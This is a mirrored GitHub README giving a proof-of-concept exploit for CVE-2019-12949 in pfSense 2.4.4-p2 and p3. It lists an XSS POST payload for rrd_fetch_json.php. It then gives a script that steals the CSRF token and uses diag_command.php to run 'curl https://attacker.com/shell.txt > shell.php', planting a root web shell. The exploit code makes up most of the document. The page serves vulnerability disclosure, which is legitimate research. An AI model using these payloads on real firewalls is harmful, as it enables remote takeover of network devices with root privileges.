Giter VIP home page Giter VIP logo

cve-2019-12949's Introduction

CVE-2019-12949 pfSense 2.4.4-p2 and 2.4.4-p3 Cross Sitete Scripting to Remote Code Execution Vulnerability

Information Description: In pfSense 2.4.4-p2 and 2.4.4-p3, if it is possible to trich au authenticated administrator into clicking on a button on a phishing page, an attacker can upload aritrary executable code via ding_command.php and rrd_fetch_json.php, to a server. Then, the remote attacker can run any command with root privileges on that server.

Researcher: Enter of The Tarantula Team, VinCSS (a member of Vingroup)

PoC XSS

Attack vector: https://pfSense_IP_Address/rrd_fetch_json.php

Send Post: left=system-processor&right=null&start=&end=&resolution=300&timePeriod=<script>alert('XSS')</script>&graphtype=line&invert=true&refreshInterval=0

XSS to RCE

Send Post: left=system-processor&right=null&start=&end=&resolution=300&timePeriod=<script src='https://attacker.com/script.js'></script>&graphtype=line&invert=true&refreshInterval=0

script.js

<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "https://pfSense_IP_Address/diag_command.php", false); xhr.withCredentials=true; xhr.send(null); var resp = xhr.responseText; console.log(resp); var start_idx = resp.indexOf('name=\'__csrf_magic\' value="'); var end_idx = resp.indexOf('" />', start_idx); var token = resp.slice(start_idx + 27, end_idx); var xhr1 = new XMLHttpRequest(); xhr1.open("POST", "https://pfSense_IP_Address/diag_command.php", false); xhr1.withCredentials=true; var params = "__csrf_magic="+token+"&txtCommand=curl https://attacker.com/shell.txt > shell.php&submit=EXEC"; xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr1.setRequestHeader("Content-length", params.length); xhr1.send(params); </script>

Shell url: https://pfSense_IP_Address/shell.php

cve-2019-12949's People

Contributors

tuyenhva avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.